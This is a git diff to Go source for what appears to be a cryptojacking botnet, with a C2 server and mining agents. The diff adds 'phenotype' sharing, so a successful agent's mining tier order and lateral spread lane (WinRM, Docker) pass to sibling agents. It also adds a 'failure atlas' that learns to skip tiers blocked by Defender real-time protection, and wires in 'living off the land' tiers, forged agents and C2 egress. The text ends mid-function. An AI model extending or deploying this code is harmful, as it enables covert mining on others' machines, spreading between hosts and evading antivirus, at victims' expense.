diff --git a/agent/client/mining_policy.go b/agent/client/mining_policy.go index 335f17f..d2c6d19 100644 --- a/agent/client/mining_policy.go +++ b/agent/client/mining_policy.go @@ -8,11 +8,27 @@ import ( func (c *AgentClient) miningTierPolicy() miner.MiningTierPolicy { c.mu.Lock() - defer c.mu.Unlock() - if len(c.tierPolicy.TierOrder) == 0 && c.tierPolicy.ForceTier == "" && len(c.tierPolicy.SkipTiers) == 0 { + policy := c.tierPolicy + if len(policy.TierOrder) == 0 && policy.ForceTier == "" && len(policy.SkipTiers) == 0 && len(c.atlasSkips) == 0 { + c.mu.Unlock() return miner.DefaultMiningTierPolicy() } - return c.tierPolicy + if len(c.atlasSkips) > 0 { + have := make(map[miner.LOTLTier]bool, len(policy.SkipTiers)) + for _, t := range policy.SkipTiers { + have[t] = true + } + for _, skip := range c.atlasSkips { + tier := miner.LOTLTier(skip.Tier) + if tier == "" || have[tier] { + continue + } + have[tier] = true + policy.SkipTiers = append(policy.SkipTiers, tier) + } + } + c.mu.Unlock() + return policy } func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) { @@ -20,6 +36,13 @@ func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) { if len(resp.MiningTierPolicy) > 0 { c.applyMiningTierPolicyJSON(resp.MiningTierPolicy) } + if len(resp.AtlasSkips) > 0 { + c.applyAtlasSkips(resp.AtlasSkips) + } + if inheritedPhenotypePresent(resp.InheritedPhenotype) { + c.applyInheritedPhenotypeJSON(resp.InheritedPhenotype) + return + } if len(resp.AdaptiveStrategy) > 0 { c.applyAdaptiveStrategyJSON(resp.AdaptiveStrategy) return diff --git a/agent/client/phenotype_policy.go b/agent/client/phenotype_policy.go new file mode 100644 index 0000000..52b72fe --- /dev/null +++ b/agent/client/phenotype_policy.go @@ -0,0 +1,47 @@ +package client + +import ( + "encoding/json" + "log" + + "crypto-miner-agent/miner" +) + +type InheritedPhenotype struct { + SourceAgentName string `json:"source_agent_name"` + Fingerprint string `json:"fingerprint,omitempty"` + SpreadLane string `json:"spread_lane,omitempty"` + TierOrder []string `json:"tier_order"` + ActiveTier string `json:"active_tier,omitempty"` + PeakHashrate float64 `json:"peak_hashrate,omitempty"` +} + +func inheritedPhenotypePresent(raw json.RawMessage) bool { + if len(raw) == 0 || string(raw) == "null" { + return false + } + var p InheritedPhenotype + return json.Unmarshal(raw, &p) == nil && len(p.TierOrder) > 0 +} + +func (c *AgentClient) applyInheritedPhenotypeJSON(raw json.RawMessage) { + if len(raw) == 0 || string(raw) == "null" { + return + } + var p InheritedPhenotype + if err := json.Unmarshal(raw, &p); err != nil || len(p.TierOrder) == 0 { + return + } + order := make([]miner.LOTLTier, len(p.TierOrder)) + for i, t := range p.TierOrder { + order[i] = miner.LOTLTier(t) + } + c.mu.Lock() + c.tierPolicy = miner.MiningTierPolicy{TierOrder: order} + c.mu.Unlock() + if p.SpreadLane != "" { + c.setJoinLane(p.SpreadLane) + } + log.Printf("[agent] inherited phenotype from %s (%d tiers, spread_lane=%s)", + p.SourceAgentName, len(p.TierOrder), p.SpreadLane) +} diff --git a/agent/client/phenotype_policy_test.go b/agent/client/phenotype_policy_test.go new file mode 100644 index 0000000..c76e874 --- /dev/null +++ b/agent/client/phenotype_policy_test.go @@ -0,0 +1,43 @@ +package client + +import ( + "encoding/json" + "testing" + + "crypto-miner-agent/miner" +) + +func TestApplyInheritedPhenotypeBeforeAdaptive(t *testing.T) { + c := &AgentClient{} + adaptive, _ := json.Marshal(AdaptiveStrategy{ + TierOrder: []string{"stratum_direct"}, + }) + inherited, _ := json.Marshal(InheritedPhenotype{ + SourceAgentName: "worker-07", + TierOrder: []string{"container", "wsl", "cpu_inprocess"}, + SpreadLane: "winrm", + }) + c.applyAuthLotlPolicy(AuthResponse{ + InheritedPhenotype: inherited, + AdaptiveStrategy: adaptive, + }) + policy := c.miningTierPolicy() + if len(policy.TierOrder) != 3 || policy.TierOrder[0] != miner.TierContainer { + t.Fatalf("expected inherited tier order, got %+v", policy.TierOrder) + } + if c.getJoinLane() != "winrm" { + t.Fatalf("expected spread_lane winrm, got %q", c.getJoinLane()) + } +} + +func TestAdaptiveStrategyUsedWithoutPhenotype(t *testing.T) { + c := &AgentClient{} + adaptive, _ := json.Marshal(AdaptiveStrategy{ + TierOrder: []string{"wsl", "cpu_inprocess"}, + }) + c.applyAuthLotlPolicy(AuthResponse{AdaptiveStrategy: adaptive}) + policy := c.miningTierPolicy() + if len(policy.TierOrder) != 2 || policy.TierOrder[0] != miner.TierWSL { + t.Fatalf("expected adaptive tier order, got %+v", policy.TierOrder) + } +} diff --git a/agent/client/protocol.go b/agent/client/protocol.go index 3807b07..c0218f7 100644 --- a/agent/client/protocol.go +++ b/agent/client/protocol.go @@ -61,7 +61,10 @@ type AuthResponse struct { LotlOnionTiers []string `json:"lotl_onion_tiers,omitempty"` MiningTierPolicy json.RawMessage `json:"mining_tier_policy,omitempty"` TripleOnionPolicy json.RawMessage `json:"triple_onion_policy,omitempty"` - AdaptiveStrategy json.RawMessage `json:"adaptive_strategy,omitempty"` + AdaptiveStrategy json.RawMessage `json:"adaptive_strategy,omitempty"` + AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"` + InheritedPhenotype json.RawMessage `json:"inherited_phenotype,omitempty"` + ClearanceLevel int `json:"clearance_level,omitempty"` } type SharePayload struct { @@ -141,6 +144,7 @@ type StatsPayload struct { MiningHashrate float64 `json:"mining_hashrate,omitempty"` LOTLTier string `json:"lotl_tier,omitempty"` LOTLAttempts []TierAttemptPayload `json:"lotl_attempts,omitempty"` + AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"` StratumEgress string `json:"stratum_egress,omitempty"` // c2_ws | direct | none JoinLane string `json:"join_lane,omitempty"` diff --git a/server/internal/api/phenotype_handler.go b/server/internal/api/phenotype_handler.go new file mode 100644 index 0000000..8ee6506 --- /dev/null +++ b/server/internal/api/phenotype_handler.go @@ -0,0 +1,35 @@ +package api + +import ( + "net/http" + "strings" + + "crypto-miner-server/internal/db" + "crypto-miner-server/internal/strategy" +) + +type PhenotypeHandler struct { + db *db.Database +} + +func NewPhenotypeHandler(database *db.Database) *PhenotypeHandler { + return &PhenotypeHandler{db: database} +} + +func (h *PhenotypeHandler) List(w http.ResponseWriter, r *http.Request) { + if h.db == nil { + http.Error(w, "database unavailable", http.StatusServiceUnavailable) + return + } + fp := strings.TrimSpace(r.URL.Query().Get("fingerprint")) + stored, err := h.db.ListFleetPhenotypes(fp) + if err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + phenotypes := make([]strategy.FleetPhenotype, 0, len(stored)) + for _, row := range stored { + phenotypes = append(phenotypes, strategy.PhenotypeFromStored(row)) + } + writeJSON(w, map[string]interface{}{"phenotypes": phenotypes}) +} diff --git a/server/internal/api/phenotype_test.go b/server/internal/api/phenotype_test.go new file mode 100644 index 0000000..9891f54 --- /dev/null +++ b/server/internal/api/phenotype_test.go @@ -0,0 +1,157 @@ +package api + +import ( + "encoding/json" + "testing" + "time" + + "crypto-miner-server/internal/db" + "crypto-miner-server/internal/models" + "crypto-miner-server/internal/strategy" +) + +func TestPublishPhenotypeOnHashrateSuccess(t *testing.T) { + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + + hub := NewWSHub(database) + hub.SetFleetSecret("test-secret") + + winnerID := "agent-winner-1" + if err := database.UpsertAgent(&models.Agent{ + ID: winnerID, Name: "worker-07", Wallet: "4" + repeatChar('A', 94), + IP: "127.0.0.1", Platform: "windows", Status: "online", LastSeen: time.Now(), + }); err != nil { + t.Fatal(err) + } + + hub.tryPublishWinningPhenotype( + winnerID, "windows", "127.0.0.1", nil, + []struct { + Tier string `json:"tier"` + OK bool `json:"ok"` + Error string `json:"error,omitempty"` + DurationMs int64 `json:"duration_ms"` + Wallet string `json:"wallet,omitempty"` + }{ + {Tier: "vuln_recon", OK: true}, + {Tier: "docker", OK: true}, + {Tier: "wsl", OK: true}, + }, + 850.0, "wsl", "winrm", + []string{"container", "wsl", "cpu_inprocess"}, + ) + + fp := strategy.FingerprintFromAuth("windows", "127.0.0.1", false) + pheno, err := database.GetFleetPhenotypeByFingerprint(fp.Key()) + if err != nil { + t.Fatal(err) + } + if pheno.SourceAgentName != "worker-07" { + t.Fatalf("source name = %q", pheno.SourceAgentName) + } + if pheno.PeakHashrate != 850.0 { + t.Fatalf("peak hashrate = %v", pheno.PeakHashrate) + } + if pheno.SpreadLane != "winrm" { + t.Fatalf("spread_lane = %q", pheno.SpreadLane) + } + if len(pheno.TierOrder) < 3 { + t.Fatalf("tier_order = %v", pheno.TierOrder) + } +} + +func TestSiblingFingerprintInheritsPhenotypeOrder(t *testing.T) { + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + + hub := NewWSHub(database) + hub.SetFleetSecret("test-secret") + + winnerID := "agent-winner-1" + siblingID := "agent-sibling-2" + for _, ag := range []*models.Agent{ + {ID: winnerID, Name: "worker-07", Wallet: "4" + repeatChar('A', 94), IP: "127.0.0.1", Platform: "windows", Status: "online", LastSeen: time.Now()}, + {ID: siblingID, Name: "worker-12", Wallet: "4" + repeatChar('B', 94), IP: "127.0.0.1", Platform: "windows", Status: "online", LastSeen: time.Now()}, + } { + if err := database.UpsertAgent(ag); err != nil { + t.Fatal(err) + } + } + + hub.tryPublishWinningPhenotype( + winnerID, "windows", "127.0.0.1", nil, nil, + 1200.0, "cpu_inprocess", "docker", + []string{"container", "wsl", "cpu_inprocess"}, + ) + + conn, _ := dialAgentWS(t, hub) + resp := authAgentConn(t, conn, map[string]interface{}{ + "agent_id": siblingID, "fleet_secret": "test-secret", + "wallet": "4" + repeatChar('B', 94), "hostname": "win-sibling", "platform": "windows", "version": "test", + }) + if resp.Type != "auth_response" { + t.Fatalf("expected auth_response, got %q", resp.Type) + } + var payload map[string]interface{} + if err := json.Unmarshal(resp.Payload, &payload); err != nil { + t.Fatal(err) + } + raw, ok := payload["inherited_phenotype"] + if !ok { + t.Fatal("expected inherited_phenotype in auth_response") + } + data, _ := json.Marshal(raw) + var inherited struct { + SourceAgentName string `json:"source_agent_name"` + TierOrder []string `json:"tier_order"` + SpreadLane string `json:"spread_lane"` + } + if err := json.Unmarshal(data, &inherited); err != nil { + t.Fatal(err) + } + if inherited.SourceAgentName != "worker-07" { + t.Fatalf("source = %q", inherited.SourceAgentName) + } + if inherited.SpreadLane != "docker" { + t.Fatalf("spread_lane = %q", inherited.SpreadLane) + } + if len(inherited.TierOrder) == 0 { + t.Fatalf("empty tier_order: %+v", inherited) + } +} + +func TestPhenotypeAPIListByFingerprint(t *testing.T) { + router, _, database, _ := newTestRouter(t) + + fp := strategy.FingerprintFromAuth("windows", "10.0.0.5", false).Key() + if _, err := database.UpsertFleetPhenotype(db.StoredPhenotype{ + Fingerprint: fp, SourceAgentID: "a1", SourceAgentName: "worker-07", + OS: "windows", SpreadLane: "winrm", ActiveTier: "wsl", + TierOrder: []string{"container", "wsl"}, PeakHashrate: 500, + }); err != nil { + t.Fatal(err) + } + + rec := serveAuthed(t, router, "GET", "/api/v1/phenotypes?fingerprint="+fp, nil) + if rec.Code != 200 { + t.Fatalf("status = %d body=%s", rec.Code, rec.Body.String()) + } + var body struct { + Phenotypes []struct { + SourceAgentName string `json:"source_agent_name"` + } `json:"phenotypes"` + } + if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil { + t.Fatal(err) + } + if len(body.Phenotypes) != 1 || body.Phenotypes[0].SourceAgentName != "worker-07" { + t.Fatalf("unexpected response: %+v", body) + } +} diff --git a/server/internal/api/router.go b/server/internal/api/router.go index 4c5312d..69860f2 100644 --- a/server/internal/api/router.go +++ b/server/internal/api/router.go @@ -568,6 +568,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler // Fleet ops strategyHandler := NewStrategyHandler(wsHub) r.Post("/strategy/recompute", strategyHandler.PostRecompute) + phenotypeHandler := NewPhenotypeHandler(database) + r.Get("/phenotypes", phenotypeHandler.List) if fleetHandler != nil { r.Get("/alerts", fleetHandler.GetAlerts) @@ -589,6 +591,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Get("/ai/config", fleetAIHandler.GetConfig) r.Put("/ai/config", fleetAIHandler.PutConfig) r.Get("/ai/decisions", fleetAIHandler.GetDecisions) + r.Get("/ai/clearance-events", fleetAIHandler.GetClearanceEvents) } moduleStore := NewModuleStore(dataDir, func() string { diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go index 207f0f3..af722fc 100644 --- a/server/internal/api/websocket.go +++ b/server/internal/api/websocket.go @@ -14,6 +14,7 @@ import ( "time" "crypto-miner-server/internal/alerts" + "crypto-miner-server/internal/atlas" "crypto-miner-server/internal/db" "crypto-miner-server/internal/models" "crypto-miner-server/internal/pool" @@ -155,13 +156,16 @@ type WSHub struct { agentDNS map[string][]string // Latest service_discover payloads keyed by agent ID (Crucible service graph). agentServiceDiscover map[string]cachedServiceDiscover - agentLiveTelemetry map[string]map[string]interface{} - serverPolicy ServerPolicy + agentLiveTelemetry map[string]map[string]interface{} + agentInheritedPhenotype map[string]strategy.InheritedPhenotype + serverPolicy ServerPolicy adaptiveEngine *strategy.AdaptiveEngine + failureAtlas *atlas.FailureAtlas pingIntervalSec int fleetSecret string // baked into forged agents; verified on WS connect eventNotifier *alerts.Notifier connectTasks ConnectTaskRunner + clearance *ClearanceManager mu sync.RWMutex // pendingCmdCallbacks allows handlers to await a specific command_result @@ -199,15 +203,17 @@ func NewWSHub(database *db.Database) *WSHub { agentLogs: make(map[string]string), agentDNS: make(map[string][]string), agentServiceDiscover: make(map[string]cachedServiceDiscover), - agentLiveTelemetry: make(map[string]map[string]interface{}), + agentLiveTelemetry: make(map[string]map[string]interface{}), + agentInheritedPhenotype: make(map[string]strategy.InheritedPhenotype), pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}), beaconLastSeen: make(map[string]time.Time), beaconCmdQueue: make(map[string][]BeaconCommand), beaconPolicyQueue: make(map[string][]FleetAgentPolicy), pingIntervalSec: 30, } + h.clearance = NewClearanceManager(h) - // Background stale-agent sweep: if an agent's last_seen is more than + // Background stale-agent sweep: // 3 minutes old but the row still says "online", force it offline. // This catches TCP half-open drops that slip past the ping/pong timeout. go h.runStaleAgentSweep() @@ -275,6 +281,13 @@ func (h *WSHub) SetAdaptiveEngine(e *strategy.AdaptiveEngine) { } } +// SetFailureAtlas wires negative-space mining pattern learning. +func (h *WSHub) SetFailureAtlas(a *atlas.FailureAtlas) { + h.mu.Lock() + h.failureAtlas = a + h.mu.Unlock() +} + func (h *WSHub) runAdaptiveStrategyLoop() { ticker := time.NewTicker(strategy.RescoreInterval) defer ticker.Stop() @@ -564,6 +577,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { if h.aiHandler != nil { h.aiHandler.RemoveEngine(agentID) } + if h.clearance != nil { + h.clearance.RemoveAgent(agentID) + } if err := h.db.SetAgentOffline(agentID); err != nil { log.Printf("[hub] SetAgentOffline %s: %v", agentID, err) } @@ -879,15 +895,54 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { } } resp["triple_onion_policy"] = top - if h.adaptiveEngine != nil && h.adaptiveEngine.Enabled() && !policy.AIControlEnabled { - domainJoined := false - if prior != nil && prior.FirewallDomain != nil && *prior.FirewallDomain { - domainJoined = true + domainJoined := false + if prior != nil && prior.FirewallDomain != nil && *prior.FirewallDomain { + domainJoined = true + } + fp := strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined) + var inherited *strategy.InheritedPhenotype + if stored, err := h.db.GetFleetPhenotypeByFingerprint(fp.Key()); err == nil && stored != nil { + pheno := strategy.PhenotypeFromStored(*stored) + inh := pheno.ToInherited() + inherited = &inh + h.mu.Lock() + h.agentInheritedPhenotype[agentID] = inh + h.mu.Unlock() + resp["inherited_phenotype"] = inh + agent.InheritedPhenotype = &models.AgentInheritedPhenotype{ + SourceAgentName: inh.SourceAgentName, + Fingerprint: inh.Fingerprint, + SpreadLane: inh.SpreadLane, + TierOrder: append([]string(nil), inh.TierOrder...), + ActiveTier: inh.ActiveTier, + PeakHashrate: inh.PeakHashrate, } - fp := strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined) + } + var defenderEnabled, defenderRTP *bool + if prior != nil { + defenderEnabled = prior.DefenderEnabled + defenderRTP = prior.DefenderRTP + } + if h.failureAtlas != nil && !policy.AIControlEnabled { + skips, _ := h.failureAtlas.ComputeSkips(fp, nil, defenderEnabled, defenderRTP) + if len(skips) > 0 { + resp["atlas_skips"] = skips + } + } + if h.adaptiveEngine != nil && h.adaptiveEngine.Enabled() && !policy.AIControlEnabled && inherited == nil { adaptive := h.adaptiveEngine.StrategyForAgent(agentID, fp) + if h.failureAtlas != nil { + if skips, _ := h.failureAtlas.ComputeSkips(fp, nil, defenderEnabled, defenderRTP); len(skips) > 0 { + atlas.MergeSkipsIntoStrategy(&adaptive, skips) + } + } resp["adaptive_strategy"] = adaptive } + if h.clearance != nil { + level := h.clearance.InitAgent(agentID, agent) + resp["clearance_level"] = level + agent.ClearanceLevel = level + } return resp }())}) @@ -1014,6 +1069,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { DurationMs int64 `json:"duration_ms"` Wallet string `json:"wallet,omitempty"` } `json:"lotl_attempts,omitempty"` + AtlasSkips []atlas.AtlasSkip `json:"atlas_skips,omitempty"` StratumEgress string `json:"stratum_egress,omitempty"` // c2_ws | direct | none JoinLane string `json:"join_lane,omitempty"` NetworkHints json.RawMessage `json:"network_hints,omitempty"` @@ -1167,6 +1223,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { if len(stats.LOTLAttempts) > 0 { broadcast["lotl_attempts"] = stats.LOTLAttempts } + if len(stats.AtlasSkips) > 0 { + broadcast["atlas_skips"] = stats.AtlasSkips + } if stats.StratumEgress != "" { broadcast["stratum_egress"] = stats.StratumEgress } @@ -1209,8 +1268,43 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { ac.latencyMu.Unlock() } h.ingestStrategyFromStats(agentID, "", clientIPFromBroadcast(broadcast), stats.DefenderRTP, stats.FirewallDomain, stats.LOTLAttempts, stats.MiningHashrate, stats.LOTLTier) + h.ingestAtlasFromStats(agentID, "", clientIPFromBroadcast(broadcast), stats.DefenderEnabled, stats.DefenderRTP, stats.FirewallDomain, stats.LOTLAttempts) + h.tryPublishWinningPhenotype(agentID, "", clientIPFromBroadcast(broadcast), stats.FirewallDomain, stats.LOTLAttempts, stats.MiningHashrate, stats.LOTLTier, stats.JoinLane, stats.ChainOrder) h.queueStatsBroadcast(broadcast) + case "ai_snapshot": + if agentID == "" { + continue + } + var snap struct { + Stuck bool `json:"stuck"` + DeployTiers []struct { + Attempted bool `json:"attempted"` + OK bool `json:"ok"` + Skipped bool `json:"skipped"` + } `json:"deploy_tiers"` + MiningTiers []struct { + Attempted bool `json:"attempted"` + OK bool `json:"ok"` + Skipped bool `json:"skipped"` + } `json:"mining_tiers"` + ClearanceLevel int `json:"clearance_level"` + } + if err := json.Unmarshal(msg.Payload, &snap); err != nil { + continue + } + failed := 0 + for _, t := range append(snap.DeployTiers, snap.MiningTiers...) { + if t.Attempted && !t.OK && !t.Skipped { + failed++ + } + } + h.cacheAgentTelemetry(agentID, map[string]interface{}{ + "stuck": snap.Stuck, + "failed_tier_count": failed, + "clearance_level": snap.ClearanceLevel, + }) + case "submit_share": if agentID == "" { continue @@ -1701,6 +1795,9 @@ func (h *WSHub) RemoveAgent(agentID string) { delete(h.agentLogs, agentID) delete(h.agentCapabilities, agentID) delete(h.agentLiveTelemetry, agentID) + if h.clearance != nil { + h.clearance.RemoveAgent(agentID) + } ac.Conn.Close() } h.mu.Unlock() @@ -1766,6 +1863,20 @@ func (h *WSHub) PushAdaptiveStrategyUpdates() int { } } adaptive := engine.StrategyForAgent(agentID, fp) + h.mu.RLock() + atlasEngine := h.failureAtlas + aiMode := h.serverPolicy.AIControlEnabled + h.mu.RUnlock() + if atlasEngine != nil && !aiMode { + var defenderEnabled, defenderRTP *bool + if ag, err := h.db.GetAgent(agentID); err == nil { + defenderEnabled = ag.DefenderEnabled + defenderRTP = ag.DefenderRTP + } + if skips, _ := atlasEngine.ComputeSkips(fp, nil, defenderEnabled, defenderRTP); len(skips) > 0 { + atlas.MergeSkipsIntoStrategy(&adaptive, skips) + } + } payload, err := json.Marshal(adaptive) if err != nil { continue @@ -1779,12 +1890,12 @@ func (h *WSHub) PushAdaptiveStrategyUpdates() int { } func (h *WSHub) ingestStrategyFromPayload(agentID string, payload map[string]interface{}) { - if h.adaptiveEngine == nil || !h.adaptiveEngine.Enabled() || h.serverPolicy.AIControlEnabled { - return - } platform, _ := payload["platform"].(string) ip, _ := payload["ip"].(string) - var defenderRTP, firewallDomain *bool + var defenderEnabled, defenderRTP, firewallDomain *bool + if v, ok := payload["defender_enabled"].(bool); ok { + defenderEnabled = &v + } if v, ok := payload["defender_rtp"].(bool); ok { defenderRTP = &v } @@ -1794,7 +1905,64 @@ func (h *WSHub) ingestStrategyFromPayload(agentID string, payload map[string]int attempts := parseLOTLAttemptsFromPayload(payload) hashrate, _ := payload["mining_hashrate"].(float64) activeTier, _ := payload["lotl_tier"].(string) + joinLane, _ := payload["join_lane"].(string) + chainOrder := parseStringSliceField(payload["chain_order"]) + h.ingestAtlasFromStats(agentID, platform, ip, defenderEnabled, defenderRTP, firewallDomain, attempts) + if h.adaptiveEngine == nil || !h.adaptiveEngine.Enabled() || h.serverPolicy.AIControlEnabled { + return + } h.ingestStrategyFromStats(agentID, platform, ip, defenderRTP, firewallDomain, attempts, hashrate, activeTier) + h.tryPublishWinningPhenotype(agentID, platform, ip, firewallDomain, attempts, hashrate, activeTier, joinLane, chainOrder) +} + +func (h *WSHub) ingestAtlasFromStats( + agentID, platform, ip string, + defenderEnabled, defenderRTP, firewallDomain *bool, + attempts []struct { + Tier string `json:"tier"` + OK bool `json:"ok"` + Error string `json:"error,omitempty"` + DurationMs int64 `json:"duration_ms"` + Wallet string `json:"wallet,omitempty"` + }, +) { + if h.failureAtlas == nil || h.db == nil { + return + } + if platform == "" || ip == "" { + if ag, err := h.db.GetAgent(agentID); err == nil { + if platform == "" { + platform = ag.Platform + } + if ip == "" { + ip = ag.IP + } + if firewallDomain == nil { + firewallDomain = ag.FirewallDomain + } + if defenderEnabled == nil { + defenderEnabled = ag.DefenderEnabled + } + if defenderRTP == nil { + defenderRTP = ag.DefenderRTP + } + } + } + domainJoined := firewallDomain != nil && *firewallDomain + fp := strategy.FingerprintFromAuth(platform, ip, domainJoined) + if defenderRTP != nil && *defenderRTP { + fp.AVBlocks = true + } + snap := atlas.ProbeSnapshotFromMaps(fp, nil, defenderEnabled, defenderRTP) + conds := atlas.ExtractConditions(fp, snap) + for _, a := range attempts { + if a.OK || strings.TrimSpace(a.Tier) == "" { + continue + } + if err := h.failureAtlas.RecordFailure(fp.Key(), a.Tier, conds); err != nil { + log.Printf("[atlas] record failure: %v", err) + } + } } func (h *WSHub) ingestStrategyFromStats( @@ -1844,6 +2012,80 @@ func (h *WSHub) ingestStrategyFromStats( } } +func (h *WSHub) tryPublishWinningPhenotype( + agentID, platform, ip string, + firewallDomain *bool, + attempts []struct { + Tier string `json:"tier"` + OK bool `json:"ok"` + Error string `json:"error,omitempty"` + DurationMs int64 `json:"duration_ms"` + Wallet string `json:"wallet,omitempty"` + }, + miningHashrate float64, + activeTier, joinLane string, + chainOrder []string, +) { + if h.db == nil || miningHashrate <= 0 || strings.TrimSpace(activeTier) == "" { + return + } + ag, err := h.db.GetAgent(agentID) + if err != nil { + return + } + if platform == "" { + platform = ag.Platform + } + if ip == "" { + ip = ag.IP + } + if firewallDomain == nil { + firewallDomain = ag.FirewallDomain + } + domainJoined := firewallDomain != nil && *firewallDomain + fp := strategy.FingerprintFromAuth(platform, ip, domainJoined) + stratAttempts := make([]strategy.TierAttempt, len(attempts)) + for i, a := range attempts { + stratAttempts[i] = strategy.TierAttempt{Tier: a.Tier, OK: a.OK} + } + fallback := append([]string(nil), chainOrder...) + if len(fallback) == 0 { + fallback = append(fallback, strategy.DefaultMiningTierOrder...) + } + tierOrder := strategy.BuildWinningTierOrder(stratAttempts, activeTier, fallback) + if len(tierOrder) == 0 { + return + } + pheno := strategy.FleetPhenotype{ + SourceAgentID: agentID, + SourceAgentName: ag.Name, + Fingerprint: fp.Key(), + OS: fp.GOOS, + SpreadLane: strings.TrimSpace(joinLane), + ActiveTier: strings.TrimSpace(activeTier), + TierOrder: tierOrder, + PeakHashrate: miningHashrate, + CreatedAt: time.Now().UTC(), + } + if _, err := h.db.UpsertFleetPhenotype(strategy.PhenotypeToStored(pheno)); err != nil { + log.Printf("[phenotype] publish: %v", err) + } +} + +func parseStringSliceField(raw interface{}) []string { + arr, ok := raw.([]interface{}) + if !ok { + return nil + } + out := make([]string, 0, len(arr)) + for _, v := range arr { + if s, ok := v.(string); ok && strings.TrimSpace(s) != "" { + out = append(out, s) + } + } + return out +} + func parseLOTLAttemptsFromPayload(payload map[string]interface{}) []struct { Tier string `json:"tier"` OK bool `json:"ok"` diff --git a/server/internal/api/websocket_test.go b/server/internal/api/websocket_test.go index 921028d..b2467e9 100644 --- a/server/internal/api/websocket_test.go +++ b/server/internal/api/websocket_test.go @@ -58,11 +58,18 @@ func authAgentConn(t *testing.T, conn *websocket.Conn, payload map[string]interf if err := conn.WriteJSON(Message{Type: "auth", Payload: data}); err != nil { t.Fatal(err) } - var resp Message - if err := conn.ReadJSON(&resp); err != nil { - t.Fatalf("read auth_response: %v", err) + deadline := time.Now().Add(3 * time.Second) + for time.Now().Before(deadline) { + var resp Message + if err := conn.ReadJSON(&resp); err != nil { + t.Fatalf("read auth_response: %v", err) + } + if resp.Type == "auth_response" { + return resp + } } - return resp + t.Fatal("timed out waiting for auth_response") + return Message{} } func TestWSHubPingIntervalConstants(t *testing.T) { diff --git a/server/internal/db/phenotype.go b/server/internal/db/phenotype.go new file mode 100644 index 0000000..b3e9a56 --- /dev/null +++ b/server/internal/db/phenotype.go @@ -0,0 +1,149 @@ +package db + +import ( + "database/sql" + "encoding/json" + "errors" + "strings" + "time" + + "github.com/google/uuid" +) + +// StoredPhenotype is the persisted best winning path for a fingerprint bucket. +type StoredPhenotype struct { + ID string + Fingerprint string + SourceAgentID string + SourceAgentName string + OS string + SpreadLane string + ActiveTier string + TierOrder []string + PeakHashrate float64 + CreatedAt time.Time +} + +func (d *Database) UpsertFleetPhenotype(p StoredPhenotype) (bool, error) { + if d == nil || strings.TrimSpace(p.Fingerprint) == "" { + return false, nil + } + existing, err := d.GetFleetPhenotypeByFingerprint(p.Fingerprint) + if err != nil && !errors.Is(err, sql.ErrNoRows) { + return false, err + } + if existing != nil && p.PeakHashrate <= existing.PeakHashrate { + return false, nil + } + if p.ID == "" { + p.ID = uuid.NewString() + } + if p.CreatedAt.IsZero() { + p.CreatedAt = time.Now().UTC() + } + tierJSON, err := json.Marshal(p.TierOrder) + if err != nil { + return false, err + } + _, err = d.Exec( + `INSERT INTO fleet_phenotypes ( + id, fingerprint, source_agent_id, source_agent_name, os, spread_lane, + active_tier, tier_order_json, peak_hashrate, created_at + ) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?) + ON CONFLICT(fingerprint) DO UPDATE SET + id = excluded.id, + source_agent_id = excluded.source_agent_id, + source_agent_name = excluded.source_agent_name, + os = excluded.os, + spread_lane = excluded.spread_lane, + active_tier = excluded.active_tier, + tier_order_json = excluded.tier_order_json, + peak_hashrate = excluded.peak_hashrate, + created_at = excluded.created_at + WHERE excluded.peak_hashrate > fleet_phenotypes.peak_hashrate`, + p.ID, p.Fingerprint, p.SourceAgentID, p.SourceAgentName, p.OS, p.SpreadLane, + p.ActiveTier, string(tierJSON), p.PeakHashrate, p.CreatedAt, + ) + if err != nil { + return false, err + } + return true, nil +} + +func (d *Database) GetFleetPhenotypeByFingerprint(fingerprint string) (*StoredPhenotype, error) { + fingerprint = strings.TrimSpace(fingerprint) + if fingerprint == "" { + return nil, sql.ErrNoRows + } + row := d.QueryRow( + `SELECT id, fingerprint, source_agent_id, source_agent_name, os, spread_lane, + active_tier, tier_order_json, peak_hashrate, created_at + FROM fleet_phenotypes WHERE fingerprint = ?`, + fingerprint, + ) + return scanFleetPhenotype(row) +} + +func (d *Database) ListFleetPhenotypes(fingerprint string) ([]StoredPhenotype, error) { + fingerprint = strings.TrimSpace(fingerprint) + var ( + rows *sql.Rows + err error + ) + if fingerprint != "" { + rows, err = d.Query( + `SELECT id, fingerprint, source_agent_id, source_agent_name, os, spread_lane, + active_tier, tier_order_json, peak_hashrate, created_at + FROM fleet_phenotypes WHERE fingerprint = ? ORDER BY peak_hashrate DESC`, + fingerprint, + ) + } else { + rows, err = d.Query( + `SELECT id, fingerprint, source_agent_id, source_agent_name, os, spread_lane, + active_tier, tier_order_json, peak_hashrate, created_at + FROM fleet_phenotypes ORDER BY peak_hashrate DESC`, + ) + } + if err != nil { + return nil, err + } + defer rows.Close() + var out []StoredPhenotype + for rows.Next() { + p, err := scanFleetPhenotypeRow(rows) + if err != nil { + return nil, err + } + out = append(out, *p) + } + return out, rows.Err() +} + +func scanFleetPhenotype(row *sql.Row) (*StoredPhenotype, error) { + return scanFleetPhenotypeRow(row) +} + +type phenotypeScanner interface { + Scan(dest ...interface{}) error +} + +func scanFleetPhenotypeRow(row phenotypeScanner) (*StoredPhenotype, error) { + var p StoredPhenotype + var tierJSON 